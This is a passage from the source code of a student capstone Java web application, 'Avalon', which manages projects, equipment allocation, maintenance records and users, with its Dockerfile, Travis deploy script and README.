this.endDate = endDate;
this.currentCost = currentCost;
this.milestone = milestone;
}
public String getProjectName() {
return projectName;
}
public void setProjectName(String projectName) {
this.projectName = projectName;
}
public LocalDate getStartDate() {
return startDate;
}
public void setStartDate(LocalDate startDate) {
this.startDate = startDate;
}
public LocalDate getEndDate() {
return endDate;
}
public void setEndDate(LocalDate endDate) {
this.endDate = endDate;
}
public double getCurrentCost() {
return currentCost;
}
public void setCurrentCost(double currentCost) {
this.currentCost = currentCost;
}
public String getMilestone() {
return milestone;
}
public void setMilestone(String milestone) {
this.milestone = milestone;
}
}
<file_sep>/settings.gradle
rootProject.name = 'Avalon'
<file_sep>/src/main/java/edu/uco/avalon/UserBean.java
package edu.uco.avalon;
import java.time.LocalDateTime;
import java.io.Serializable;
import java.sql.SQLException;
import java.util.ArrayList;
import javax.annotation.PostConstruct;
import javax.enterprise.context.RequestScoped;
import javax.inject.Named;
@Named
@RequestScoped
public class UserBean implements Serializable{
private String first_name;
private String last_name;
private String email;
private String password;
private int userID;
private int flagID;
private LocalDateTime lastUpdatedDate;
private String lastUpdatedBy;
private ArrayList<UserBean>userListDB;
public String getFirst() {
return first_name;
}
public String getLast() {
return last_name;
}
public String getEmail() {
return email;
}
public String getPassword() {
return password;
}
public int getUserID() {
return userID;
}
public int getFlagID(){return flagID;}
public LocalDateTime getLastUpdatedDate(){return lastUpdatedDate;}
public String getLastUpdatedBy(){return lastUpdatedBy;}
public void setFirst(String first_name) {
this.first_name = first_name;
}
public void setLast(String last_name) {
this.last_name = last_name;
}
public void setEmail(String email) {
this.email = email;
}
public void setPassword(String password) {
this.password = password;
}
public void setUserID(int userID) {
this.userID = userID;
}
public void setLastUpdatedDate(LocalDateTime lastUpdatedDate) {
this.lastUpdatedDate = lastUpdatedDate;
}
public void setFlagID(int flagID) {
this.flagID = flagID;
}
public void setLastUpdatedBy(String lastUpdatedBy){this.lastUpdatedBy = lastUpdatedBy;}
@PostConstruct
public void init() throws SQLException {
userListDB = DataBase.allUsers();
}
/* Method Used To Fetch All Records From The Database */
public ArrayList<UserBean> userList() {
return userListDB;
}
/* Method Used To Save New Student Record */
public void saveStudentDetails(UserBean user) throws SQLException {
DataBase.saveStudentDetailsInDB(user);
userListDB = DataBase.allUsers();
}
public String beforeEdit(int userID) throws Exception{
UserBean user = DataBase.readOneUser(userID);
this.userID = userID;
this.first_name = user.getFirst();
this.last_name = user.getLast();
this.email = user.getEmail();
this.password = user.getPassword();
this.flagID = user.getFlagID();
this.lastUpdatedBy = user.getLastUpdatedBy();
return "/admin/update_User";
}
/* Method Used To Update Student Record */
public String updateUser() throws SQLException{
UserBean oldInfo = new UserBean();
oldInfo.setUserID(this.userID);
oldInfo.setFirst(this.first_name);
oldInfo.setLast(this.last_name);
oldInfo.setEmail(this.email);
oldInfo.setPassword(<PASSWORD>);
oldInfo.setFlagID(this.flagID);
oldInfo.setLastUpdatedDate(LocalDateTime.now());
oldInfo.setLastUpdatedBy("admin");
DataBase.update(oldInfo);
userListDB = DataBase.allUsers();
return "/admin/index";
}
public void deleteUserRecord(int id) throws SQLException {
DataBase.deleteUser(id);
userListDB = DataBase.allUsers();
}
public void lock(int id) throws SQLException {
DataBase.lock(id);
userListDB = DataBase.allUsers();
}
public void unlock(int id) throws SQLException {
DataBase.unlock(id);
userListDB = DataBase.allUsers();
}
}
<file_sep>/src/main/java/edu/uco/avalon/AuthBean.java
package edu.uco.avalon;
import org.omnifaces.util.Faces;
import javax.annotation.PostConstruct;
import javax.enterprise.context.RequestScoped;
import javax.faces.context.FacesContext;
import javax.inject.Inject;
import javax.inject.Named;
import java.io.IOException;
import java.io.Serializable;
import java.util.Arrays;
import java.util.List;
/**
* Makes sure that the logged in user has the
* access for the current page they are tyring
* to view.
*/
@Named
@RequestScoped
public class AuthBean implements Serializable {
@Inject
private LoginBean loginBean;
private String viewId = Faces.getViewId();
/**
* Any pages which a logged in user should not see
*/
private static final List unauthenticatedPages = Arrays.asList("/index.xhtml", "/register.xhtml");
/**
* Any pages which can be viewed publicly
*/
private static final List publicPages = Arrays.asList("/contact.xhtml");
/**
* If the current page is allowed by the current user
*/
private boolean currentPageAllowed = false;
@PostConstruct
public void init() {
checkAuthentication();
}
/**
* Check the user's login status and make sure they are where they are supossed to be.
*/
private void checkAuthentication() {
if (loginBean.isLoggedIn() || loginBean.checkPersistentSession()) {
// Logged in
if (inUnauthenticatedPages()) {
// At login or register pages, redirect into site
Faces.redirect("dashboard");
} else {
// Allow content to display
currentPageAllowed = true;
}
} else {
// Not logged in
if (inUnauthenticatedPages() || inPublicPages()) {
// At publicly viewable page
currentPageAllowed = true;
}
}
}
public boolean inPublicPages() {
return publicPages.contains(viewId);
}
public boolean inUnauthenticatedPages() {
return unauthenticatedPages.contains(viewId);
}
public boolean isCurrentPageAllowed() {
return currentPageAllowed;
}
public void setCurrentPageAllowed(boolean currentPageAllowed) {
this.currentPageAllowed = currentPageAllowed;
}
}
<file_sep>/Dockerfile
FROM tomcat:8.5.27
RUN rm -rf /usr/local/tomcat/webapps/ROOT<file_sep>/src/main/java/edu/uco/avalon/ProjectBean.java
package edu.uco.avalon;
import org.omnifaces.util.Faces;
import org.supercsv.cellprocessor.Optional;
import org.supercsv.cellprocessor.constraint.NotNull;
import org.supercsv.cellprocessor.constraint.UniqueHashCode;
import org.supercsv.cellprocessor.ift.CellProcessor;
import javax.annotation.PostConstruct;
import javax.enterprise.context.SessionScoped;
import javax.faces.application.FacesMessage;
import javax.faces.context.FacesContext;
import javax.inject.Named;
import java.io.*;
import java.math.BigDecimal;
import java.sql.SQLException;
import java.time.LocalDate;
import java.time.LocalDateTime;
import java.util.*;
import java.util.logging.Level;
import java.util.logging.Logger;
import java.util.stream.Collectors;
@Named(value = "projectBean")
@SessionScoped
public class ProjectBean implements Serializable {
// private DataSource ds;
private List<Project> projectList;
private int projectID;
private String name;
private Date startDate;
private Date estEndDate;
private Date actEndDate;
private String estCostOverall;
private String currentCost;
private List<Allocation> allocatedList;
private List<Allocation> unallocatedList;
private int[] selectedAllocation;
private String myStyle;
public String getMyStyle() {
return myStyle;
}
public void setMyStyle(String myStyle) {
this.myStyle = myStyle;
}
public void filterListByNextMaintenanceDate(List<Allocation> unallocatedList) throws SQLException {
for (int i = unallocatedList.size()-1; i >= 0; i--) {
LocalDateTime dateToCompare = MaintenanceRepository.getLatestNextMaintenanceDateForEquipment(unallocatedList.get(i).getEquipmentID());
if (dateToCompare == null) {}
else if (dateToCompare.isAfter(LocalDateTime.now())) {}
else {
unallocatedList.remove(i);
}
}
}
@PostConstruct
public void init() {
try {
Class.forName("org.mariadb.jdbc.Driver");
// Context initContext = new InitialContext();
// Context envContext = (Context) initContext.lookup("java:comp/env");
// ds = (DataSource) envContext.lookup("jdbc/avalon_db");
projectList = ProjectRepository.readAllProject().stream().filter(x -> !x.isDeleted()).collect(Collectors.toList());
} catch (Exception ex) {
Logger.getLogger(ProjectBean.class.getName()).log(Level.SEVERE, null, ex);
}
}
public List<Project> getProjectList() {
return projectList;
}
public List<Allocation> getAllocatedList() {
return allocatedList;
}
public List<Allocation> getUnallocatedList() {
return unallocatedList;
}
public int[] getSelectedAllocation() {
return selectedAllocation;
}
public void setSelectedAllocation(int[] selectedAllocation) {
this.selectedAllocation = selectedAllocation;
}
public String beforeCreate() {
this.projectID = 0;
this.name = null;
this.startDate = null;
this.estEndDate = null;
this.actEndDate = null;
this.estCostOverall = null;
this.currentCost = null;
return "/project/create";
}
public String validateProject() throws Exception {
boolean isError = false;
if (this.startDate != null && this.actEndDate != null) {
if (this.startDate.after(this.actEndDate)) {
isError = true;
FacesMessage facesMessage = new FacesMessage(FacesMessage.SEVERITY_ERROR,
"Start Date cannot be after Actual End Date.", null);
FacesContext.getCurrentInstance().addMessage("project", facesMessage);
}
}
if (this.startDate != null && this.estEndDate != null) {
if (this.startDate.after(this.estEndDate)) {
isError = true;
FacesMessage facesMessage = new FacesMessage(FacesMessage.SEVERITY_ERROR,
"Start Date cannot be after Estimated End Date.", null);
FacesContext.getCurrentInstance().addMessage("project", facesMessage);
}
}
if(Helpers.parse(this.estCostOverall, Locale.US).compareTo(new BigDecimal("999999999999.99")) == 1) {
isError = true;
FacesMessage facesMessage = new FacesMessage(FacesMessage.SEVERITY_ERROR,
"Estimated Cost Overall must be less than 1 trillion.", null);
FacesContext.getCurrentInstance().addMessage("project", facesMessage);
}
if(Helpers.parse(this.currentCost, Locale.US).compareTo(new BigDecimal("999999999999.99")) == 1) {
isError = true;
FacesMessage facesMessage = new FacesMessage(FacesMessage.SEVERITY_ERROR,
"Current Cost must be less than 1 trillion.", null);
FacesContext.getCurrentInstance().addMessage("project", facesMessage);
}
if (!isError) {
if (this.projectID == 0) {
return this.createProject();
}
else {
return this.editProject();
}
}
return null;
}
public String createProject() throws Exception {
Project newProject = new Project();
newProject.setName(this.name);
if (this.startDate != null) newProject.setStartDate(new java.sql.Date(this.startDate.getTime()).toLocalDate());
if (this.estEndDate != null) newProject.setEstEndDate(new java.sql.Date(this.estEndDate.getTime()).toLocalDate());
if (this.actEndDate != null) newProject.setActEndDate(new java.sql.Date(this.actEndDate.getTime()).toLocalDate());
newProject.setCurrentCost(Helpers.parse(this.currentCost, Locale.US));
newProject.setEstCostOverall(Helpers.parse(this.estCostOverall, Locale.US));
newProject.setLastUpdatedDate(LocalDateTime.now());
newProject.setLastUpdatedBy("user");
ProjectRepository.createProject(newProject);
// FacesContext.getCurrentInstance().getExternalContext().invalidateSession();
projectList = ProjectRepository.readAllProject().stream().filter(x -> !x.isDeleted()).collect(Collectors.toList());
return "/project/index";
}
public String projectDetail(int projectID) throws Exception {
Project project = ProjectRepository.readOneProject(projectID);
this.projectID = project.getProjectID();
this.name = project.getName();
this.startDate = (project.getStartDate() != null) ? java.sql.Date.valueOf(project.getStartDate()) : null;
this.estEndDate = (project.getEstEndDate() != null) ? java.sql.Date.valueOf(project.getEstEndDate()) : null;
this.actEndDate = (project.getActEndDate() != null) ? java.sql.Date.valueOf(project.getActEndDate()) : null;
this.estCostOverall = (project.getEstCostOverall() != null) ? "$" + String.format("%,.2f", project.getEstCostOverall()) : null;
this.currentCost = (project.getCurrentCost() != null) ? "$" + String.format("%,.2f", project.getCurrentCost()) : null;
allocatedList = AllocationRepository.readAllAllocation().stream().filter(x -> !x.isDeleted() && x.getProjectID() == projectID).collect(Collectors.toList());
unallocatedList = AllocationRepository.readAllAllocation().stream().filter(x -> !x.isDeleted() && x.getProjectID() == 0).collect(Collectors.toList());
filterListByNextMaintenanceDate(unallocatedList);
unallocatedList.sort(Comparator.comparing(Allocation::getDisplayForEquipmentID));
return "/project/detail";
}
public void addAllocation() throws Exception {
Allocation allocation = new Allocation();
allocation.setProjectID(this.projectID);
allocation.setLastUpdatedDate(LocalDateTime.now());
allocation.setLastUpdatedBy("user");
AllocationRepository.addAllocation(selectedAllocation, allocation);
allocatedList = AllocationRepository.readAllAllocation().stream().filter(x -> !x.isDeleted() && x.getProjectID() == projectID).collect(Collectors.toList());
unallocatedList = AllocationRepository.readAllAllocation().stream().filter(x -> !x.isDeleted() && x.getProjectID() == 0).collect(Collectors.toList());
filterListByNextMaintenanceDate(unallocatedList);
unallocatedList.sort(Comparator.comparing(Allocation::getDisplayForEquipmentID));
}
public void removeAllocation(int allocationID) throws Exception {
int[] removedAllocation = { allocationID };
Allocation allocation = new Allocation();
allocation.setLastUpdatedDate(LocalDateTime.now());
allocation.setLastUpdatedBy("user");
AllocationRepository.removeAllocationByAllocationID(removedAllocation, allocation);
allocatedList = AllocationRepository.readAllAllocation().stream().filter(x -> !x.isDeleted() && x.getProjectID() == projectID).collect(Collectors.toList());
unallocatedList = AllocationRepository.readAllAllocation().stream().filter(x -> !x.isDeleted() && x.getProjectID() == 0).collect(Collectors.toList());
filterListByNextMaintenanceDate(unallocatedList);
unallocatedList.sort(Comparator.comparing(Allocation::getDisplayForEquipmentID));
}
public String beforeEditing(int projectID) throws Exception {
Project project = ProjectRepository.readOneProject(projectID);
this.projectID = project.getProjectID();
this.name = project.getName();
this.startDate = (project.getStartDate() != null) ? java.sql.Date.valueOf(project.getStartDate()) : null;
this.estEndDate = (project.getEstEndDate() != null) ? java.sql.Date.valueOf(project.getEstEndDate()) : null;
this.actEndDate = (project.getActEndDate() != null) ? java.sql.Date.valueOf(project.getActEndDate()) : null;
this.estCostOverall = String.valueOf(project.getEstCostOverall());
this.currentCost = String.valueOf(project.getCurrentCost());
return "/project/edit";
}
public String editProject() throws Exception {
Project oldProject = new Project();
oldProject.setProjectID(this.projectID);
oldProject.setName(this.name);
if (this.startDate != null) oldProject.setStartDate(new java.sql.Date(this.startDate.getTime()).toLocalDate());
if (this.estEndDate != null) oldProject.setEstEndDate(new java.sql.Date(this.estEndDate.getTime()).toLocalDate());
if (this.actEndDate != null) oldProject.setActEndDate(new java.sql.Date(this.actEndDate.getTime()).toLocalDate());
oldProject.setEstCostOverall(Helpers.parse(this.estCostOverall, Locale.US));
oldProject.setCurrentCost(Helpers.parse(this.currentCost, Locale.US));
oldProject.setLastUpdatedDate(LocalDateTime.now());
oldProject.setLastUpdatedBy("user");
ProjectRepository.updateProject(oldProject);
projectList = ProjectRepository.readAllProject().stream().filter(x -> !x.isDeleted()).collect(Collectors.toList());
return "/project/index";
}
public void deleteProject(int projectID) throws Exception {
Project project = new Project();
project.setProjectID(projectID);
project.setLastUpdatedDate(LocalDateTime.now());
project.setLastUpdatedBy("user");
AllocationRepository.removeAllocationByProject(project);
ProjectRepository.deleteProject(project);
projectList = ProjectRepository.readAllProject().stream().filter(x -> !x.isDeleted()).collect(Collectors.toList());
}
public String calculateStatus(Project project) {
StringBuilder status = new StringBuilder();
boolean isProblem = false;
myStyle = "";
if (project.getActEndDate() != null) {
status.append("Finished");
myStyle = "text-success";
if (project.getEstEndDate() != null) {
if (project.getActEndDate().isAfter(project.getEstEndDate())) {
status.append(" Late");
myStyle = "text-primary";
isProblem = true;
}
}
status.append(", ");
}
else if (project.getEstEndDate() != null) {
if (LocalDate.now().isAfter(project.getEstEndDate())) {
status.append("Overdue, ");
myStyle = "text-danger";
isProblem = true;
}
}
if (project.getCurrentCost().compareTo(project.getEstCostOverall()) > 0) {
status.append("Overbudget, ");
if (!myStyle.equals("text-danger"))
myStyle = "text-warning";
isProblem = true;
}
if (!isProblem) {
status.append("No Issue, ");
if (!myStyle.equals("text-success"))
myStyle = "text-info";
}
status.setLength(status.length() - 2);
return status.toString();
}
public static void toCSV() throws IOException, SQLException {
CellProcessor[] processors = new CellProcessor[] {
new UniqueHashCode(), // projectID (must be unique)
new NotNull(), // name
new Optional(), // startDate
new Optional(), // estEndDate
new Optional(), // actEndDate
new Optional(), // estCostOverall
new Optional(), // currentCost
new Optional(), // lastUpdatedDate
new Optional(), // lastUpdatedBy
};
// the header elements are used to map the bean values to each column (names must match)
final String[] headers = new String[] {
"projectID",
"name",
"startDate",
"estEndDate",
"actEndDate",
"estCostOverall",
"currentCost",
"lastUpdatedDate",
"lastUpdatedBy"//,
//"isDeleted"
};
List<Project> projects = ProjectRepository.readAllProject();
InputStream data = CSVBuilder.create(processors, headers, projects);
String filename = CSVBuilder.filename("projects");
Faces.sendFile(data, filename, true);
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public Date getStartDate() {
return startDate;
}
public void setStartDate(Date startDate) {
this.startDate = startDate;
}
public Date getEstEndDate() {
return estEndDate;
}
public void setEstEndDate(Date estEndDate) {
this.estEndDate = estEndDate;
}
public Date getActEndDate() {
return actEndDate;
}
public void setActEndDate(Date actEndDate) {
this.actEndDate = actEndDate;
}
public String getEstCostOverall() {
return estCostOverall;
}
public void setEstCostOverall(String estCostOverall) {
this.estCostOverall = estCostOverall;
}
public String getCurrentCost() {
return currentCost;
}
public void setCurrentCost(String currentCost) {
this.currentCost = currentCost;
}
}
<file_sep>/src/main/java/edu/uco/avalon/EquipmentType.java
package edu.uco.avalon;
import java.time.LocalDateTime;
public class EquipmentType {
private int equipmentTypeID;
private String description;
private LocalDateTime lastUpdatedDate;
private String lastUpdatedBy;
private boolean isDeleted;
public int getEquipmentTypeID() { return equipmentTypeID; }
public void setEquipmentTypeID(int equipmentTypeID) { this.equipmentTypeID = equipmentTypeID; }
public String getDescription() { return description; }
public void setDescription(String description) { this.description = description; }
public LocalDateTime getLastUpdatedDate() { return lastUpdatedDate; }
public void setLastUpdatedDate(LocalDateTime lastUpdatedDate) { this.lastUpdatedDate = lastUpdatedDate; }
public String getLastUpdatedBy() { return lastUpdatedBy; }
public void setLastUpdatedBy(String lastUpdatedBy) { this.lastUpdatedBy = lastUpdatedBy; }
public boolean isDeleted() { return isDeleted; }
}<file_sep>/src/main/java/edu/uco/avalon/User.java
package edu.uco.avalon;
import javax.validation.constraints.Pattern;
import javax.validation.constraints.Size;
public class User {
/**
* Contains validation patterns, values, and messages
*/
public interface validation {
interface email {
/**
* Crazy long regex string which supposedly matches 99.99% of valid emails
* http://emailregex.com/
**/
String pattern = "(?:[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*|\"(?:[\\x01-\\x08\\x0b\\x0c\\x0e-\\x1f\\x21\\x23-\\x5b\\x5d-\\x7f]|\\\\[\\x01-\\x09\\x0b\\x0c\\x0e-\\x7f])*\")@(?:(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?|\\[(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?|[a-z0-9-]*[a-z0-9]:(?:[\\x01-\\x08\\x0b\\x0c\\x0e-\\x1f\\x21-\\x5a\\x53-\\x7f]|\\\\[\\x01-\\x09\\x0b\\x0c\\x0e-\\x7f])+)\\])";
String message = "Not a valid email address";
}
interface name {
/**
* Do not allow certain characters in name fields
*/
String pattern = "^[^±!@£$%^&*_+§¡€#¢§¶•ªº«\\\\/<>?:;|=.,]*$";
String message = "Invalid character";
}
interface required {
int value = 1;
String message = "This is a required field";
}
interface max {
int value = 50;
String message = "This field allows up to {max} characters";
}
}
protected int userID;
@Size.List({
@Size(min = validation.required.value, message = validation.required.message),
@Size(max = validation.max.value, message = validation.max.message)
})
@Pattern(regexp = validation.name.pattern, message = validation.name.message)
protected String firstName;
@Size.List({
@Size(min = validation.required.value, message = validation.required.message),
@Size(max = validation.max.value, message = validation.max.message)
})
@Pattern(regexp = validation.name.pattern, message = validation.name.message)
protected String lastName;
@Size.List({
@Size(min = validation.required.value, message = validation.required.message),
@Size(max = validation.max.value, message = validation.max.message)
})
@Pattern(regexp = validation.email.pattern, message = validation.email.message)
protected String email;
@Size.List({
@Size(min = validation.required.value, message = validation.required.message),
@Size(max = validation.max.value, message = validation.max.message)
})
protected String password;
protected boolean locked = false;
public int getUserID() {
return userID;
}
public void setUserID(int userID) {
this.userID = userID;
}
public String getFirstName() {
return firstName;
}
public void setFirstName(String firstName) {
this.firstName = firstName;
}
public String getLastName() {
return lastName;
}
public void setLastName(String lastName) {
this.lastName = lastName;
}
public String getEmail() {
return email;
}
public void setEmail(String email) {
this.email = email;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = <PASSWORD>;
}
public boolean isLocked() {
return locked;
}
public void setLocked(boolean locked) {
this.locked = locked;
}
public String getFullname() {
return this.firstName + ' ' + this.lastName;
}
}
<file_sep>/.travis/deploy.sh
#!/use/bin/env bash
# Copy ROOT.war to Tomcat
rsync -q --inplace "$TRAVIS_BUILD_DIR/build/libs/ROOT.war" "git@$server:$destination_file"
# Update database from schema
cat "$TRAVIS_BUILD_DIR/src/sql/avalon_db.sql" | ssh "git@$server" "mysql -uroot -p$db_pass"
<file_sep>/README.md
<p align="center">
<img src="/src/main/webapp/resources/images/avalon_logo_text.png?raw=true" title="Avalon Logo" height="120">
</p>
# Avalon Web
<p align="center">
<a href="https://travis-ci.org/UCO-CS-Capstone/avalon_web"><img src="https://api.travis-ci.org/UCO-CS-Capstone/avalon_web.svg?branch=master" alt="Build Status"></a>
</p>
This is the web server side of Avalon's capstone project.
## Mobile App
The mobile app portion is in a [separate repo](https://github.com/UCO-CS-Capstone/avalon_mobile).
<file_sep>/src/main/java/edu/uco/avalon/EquipmentBean.java
package edu.uco.avalon;
import net.bootsfaces.component.fullCalendar.FullCalendarEventList;
import org.omnifaces.util.Faces;
import org.supercsv.cellprocessor.Optional;
import org.supercsv.cellprocessor.constraint.NotNull;
import org.supercsv.cellprocessor.constraint.UniqueHashCode;
import org.supercsv.cellprocessor.ift.CellProcessor;
import javax.annotation.PostConstruct;
import javax.enterprise.context.SessionScoped;
import javax.faces.application.FacesMessage;
import javax.faces.context.ExternalContext;
import javax.faces.context.FacesContext;
import javax.inject.Named;
import java.io.IOException;
import java.io.InputStream;
import java.io.Serializable;
import java.math.BigDecimal;
import java.sql.*;
import java.time.LocalDateTime;
import java.time.ZoneId;
import java.util.Date;
import java.util.*;
import java.util.logging.Level;
import java.util.logging.Logger;
import java.util.stream.Collectors;
@Named(value = "equipmentBean")
@SessionScoped
public class EquipmentBean implements Serializable {
private List<Equipment> equipmentList;
private Map<String, Integer> equipmentTypesList;
private Integer selectedEquipmentTypeValue;
private int equipmentID;
private String name;
private String type;
private int typeID;
// Viet was here
private List<Maintenance> maintenanceList;
private int maintenanceID;
private String description;
private String cost;
private Date nextMaintenanceDate;
private boolean isEditingMaintenance;
private String myStyle;
public String getMyStyle() {
return myStyle;
}
public void setMyStyle(String myStyle) {
this.myStyle = myStyle;
}
public LocalDateTime getLatestMaintenanceDateForEquipment(Equipment equipment) throws SQLException {
LocalDateTime dateToCompare = MaintenanceRepository.
getLatestNextMaintenanceDateForEquipment(equipment.getEquipmentID());
if (dateToCompare != null) {
if (dateToCompare.isAfter(LocalDateTime.now())) {
this.myStyle = "text-primary";
}
else {
this.myStyle = "text-danger";
}
return dateToCompare;
}
else {
return null;
}
}
public String getProjectAllocatedTo(Equipment equipment) throws SQLException {
return AllocationRepository.readOneAllocationByEquipmentID(equipment.getEquipmentID()).getDisplayForProjectID();
}
@PostConstruct
public void init() {
try {
Class.forName("org.mariadb.jdbc.Driver");
equipmentList = EquipmentRepository.readAllEquipment().stream().
filter(x -> !x.isDeleted()).collect(Collectors.toList());
equipmentTypesList = readAllEquipmentTypes().entrySet().stream()
.sorted(Map.Entry.comparingByKey())
.collect(Collectors.toMap(Map.Entry::getKey, Map.Entry::getValue,
(oldValue, newValue) -> oldValue, LinkedHashMap::new));
} catch (Exception ex) {
Logger.getLogger(EquipmentBean.class.getName()).log(Level.SEVERE, null, ex);
}
}
public void checkGetQuery() {
FacesContext context = FacesContext.getCurrentInstance();
Map<String, String> requestParams = context.getExternalContext().getRequestParameterMap();
String detailID = "detailid";
if (requestParams.containsKey(detailID)) {
try {
String param = requestParams.get(detailID);
int id = Integer.parseInt(param);
equipmentDetail(id);
ExternalContext externalContext = context.getExternalContext();
externalContext.redirect(externalContext.getRequestContextPath() + "/equipment/detail");
} catch (Exception e) {
e.printStackTrace();
}
}
}
public List<Equipment> getEquipmentList() {
return equipmentList;
}
public List<Maintenance> getMaintenanceList() { return maintenanceList; }
public boolean isEditingMaintenance() {
return isEditingMaintenance;
}
public void prepareEditingMaintenance(Maintenance maintenance) {
this.maintenanceID = maintenance.getMaintenanceID();
this.description = maintenance.getDescription();
this.cost = String.valueOf(maintenance.getCost());
this.nextMaintenanceDate = java.sql.Timestamp.valueOf(maintenance.getNextMaintenanceDate());
this.isEditingMaintenance = true;
}
public String beforeCreate() {
this.equipmentID = 0;
this.name = null;
this.type = null;
this.typeID = 0;
return "/equipment/create";
}
public String beforeCreateType() {
this.typeID = 0;
this.description = null;
return "/equipment/createType";
}
public String createEquipment() throws Exception{
Equipment newEquipment = new Equipment();
newEquipment.setName(this.name);
//newEquipment.setType(this.type);
newEquipment.setTypeID(this.selectedEquipmentTypeValue);
newEquipment.setLastUpdatedBy("user");
newEquipment.setLastUpdatedDate(LocalDateTime.now());
int generatedID = EquipmentRepository.createEquipment(newEquipment);
// Viet was here
Allocation allocation = new Allocation();
allocation.setEquipmentID(generatedID);
allocation.setLastUpdatedDate(LocalDateTime.now());
allocation.setLastUpdatedBy("user");
AllocationRepository.createAllocation(allocation);
equipmentList = EquipmentRepository.readAllEquipment().stream().
filter(x -> !x.isDeleted()).collect(Collectors.toList());
return "/equipment/index";
}
public String equipmentDetail(int equipmentID) throws Exception {
Equipment equipment = EquipmentRepository.readOneEquipment(equipmentID);
this.equipmentID = equipment.getEquipmentID();
this.name = equipment.getName();
this.type = equipment.getType();
this.typeID = equipment.getTypeID();
this.description = null;
this.cost = null;
this.nextMaintenanceDate = null;
this.isEditingMaintenance = false;
maintenanceList = MaintenanceRepository.readAllMaintenance().stream().
filter(x -> !x.isDeleted() && x.getEquipmentID() == equipmentID).collect(Collectors.toList());
return "/equipment/detail";
}
public void validateMaintenance() throws Exception {
boolean isError = false;
if(Helpers.parse(this.cost, Locale.US).compareTo(new BigDecimal("999999999999.99")) == 1) {
isError = true;
FacesMessage facesMessage = new FacesMessage(FacesMessage.SEVERITY_ERROR,
"Cost must be less than 1 trillion.", null);
FacesContext.getCurrentInstance().addMessage("maintenance", facesMessage);
}
if (!isError) {
if (this.maintenanceID == 0) {
this.createMaintenance();
}
else {
this.editMaintenance();
}
}
}
public void createMaintenance() throws Exception {
Maintenance maintenance = new Maintenance();
maintenance.setEquipmentID(this.equipmentID);
maintenance.setDescription(this.description);
maintenance.setCost(Helpers.parse(this.cost, Locale.US));
maintenance.setNextMaintenanceDate(new java.sql.Timestamp(this.nextMaintenanceDate.
getTime()).toLocalDateTime());
maintenance.setLastUpdatedDate(LocalDateTime.now());
maintenance.setLastUpdatedBy("user");
MaintenanceRepository.createMaintenance(maintenance);
this.description = null;
this.cost = null;
this.nextMaintenanceDate = null;
maintenanceList = MaintenanceRepository.readAllMaintenance().stream().
filter(x -> !x.isDeleted() && x.getEquipmentID() == equipmentID).collect(Collectors.toList());
}
public void editMaintenance() throws Exception {
Maintenance maintenance = new Maintenance();
maintenance.setMaintenanceID(this.maintenanceID);
maintenance.setEquipmentID(this.equipmentID);
maintenance.setDescription(this.description);
maintenance.setCost(Helpers.parse(this.cost, Locale.US));
maintenance.setNextMaintenanceDate(new java.sql.Timestamp(this.nextMaintenanceDate.
getTime()).toLocalDateTime());
maintenance.setLastUpdatedDate(LocalDateTime.now());
maintenance.setLastUpdatedBy("user");
MaintenanceRepository.updateMaintenance(maintenance);
this.description = null;
this.cost = null;
this.nextMaintenanceDate = null;
this.isEditingMaintenance = false;
maintenanceList = MaintenanceRepository.readAllMaintenance().stream().
filter(x -> !x.isDeleted() && x.getEquipmentID() == equipmentID).collect(Collectors.toList());
}
public void cancelEditMaintenance() {
this.description = null;
this.cost = null;
this.nextMaintenanceDate = null;
this.isEditingMaintenance = false;
}
public void deleteMaintenance(int maintenanceID) throws Exception {
Maintenance maintenance= new Maintenance();
maintenance.setMaintenanceID(maintenanceID);
maintenance.setLastUpdatedDate(LocalDateTime.now());
maintenance.setLastUpdatedBy("user");
MaintenanceRepository.deleteMaintenanceByMaintenanceID(maintenance);
maintenanceList = MaintenanceRepository.readAllMaintenance().stream().
filter(x -> !x.isDeleted() && x.getEquipmentID() == equipmentID).collect(Collectors.toList());
}
public String beforeEditing(int equipmentID) throws Exception{
Equipment equipment = EquipmentRepository.readOneEquipment(equipmentID);
this.equipmentID = equipment.getEquipmentID();
this.name = equipment.getName();
this.type = equipment.getType();
this.typeID = equipment.getTypeID();
this.selectedEquipmentTypeValue = equipment.getTypeID();
return "/equipment/edit";
}
public String editEquipment () throws Exception{
Equipment oldEquipment = new Equipment();
oldEquipment.setEquipmentID(this.equipmentID);
oldEquipment.setName(this.name);
oldEquipment.setType(this.type);
oldEquipment.setTypeID(this.selectedEquipmentTypeValue);
oldEquipment.setLastUpdatedDate(LocalDateTime.now());
oldEquipment.setLastUpdatedBy("user");
EquipmentRepository.updateEquipment(oldEquipment);
equipmentList = EquipmentRepository.readAllEquipment().stream().
filter(x -> !x.isDeleted()).collect(Collectors.toList());
return "/equipment/index";
}
public void deleteEquipment(int equipmentID) throws Exception{
// Viet was here
System.out.println(equipmentID);
Allocation allocation = new Allocation();
allocation.setAllocationID(AllocationRepository.readOneAllocationByEquipmentID(equipmentID).getAllocationID());
allocation.setLastUpdatedDate(LocalDateTime.now());
allocation.setLastUpdatedBy("user");
AllocationRepository.deleteAllocation(allocation);
Maintenance maintenance = new Maintenance();
maintenance.setEquipmentID(equipmentID);
maintenance.setLastUpdatedDate(LocalDateTime.now());
maintenance.setLastUpdatedBy("user");
MaintenanceRepository.deleteMaintenanceByEquipmentID(maintenance);
EquipmentRepository.deleteEquipment(equipmentID);
equipmentList = EquipmentRepository.readAllEquipment().stream().
filter(x -> !x.isDeleted()).collect(Collectors.toList());
}
public static Map<String, Integer> readAllEquipmentTypes() throws SQLException {
Map<String, Integer> equipmentTypesList = new LinkedHashMap<>();
try (Connection conn = ConnectionManager.getConnection()) {
String query = "SELECT * FROM lu_equipment_types";
PreparedStatement ps = conn.prepareStatement(query);
ResultSet rs = ps.executeQuery();
while (rs.next()) {
equipmentTypesList.put(rs.getString("description"), rs.getInt("typeID"));
}
}
return equipmentTypesList;
}
public String createEquipmentType() throws Exception{
EquipmentType newEquipmentType = new EquipmentType();
newEquipmentType.setDescription(this.description);
newEquipmentType.setLastUpdatedBy("user");
newEquipmentType.setLastUpdatedDate(LocalDateTime.now());
int generatedID = EquipmentRepository.createEquipmentType(newEquipmentType);
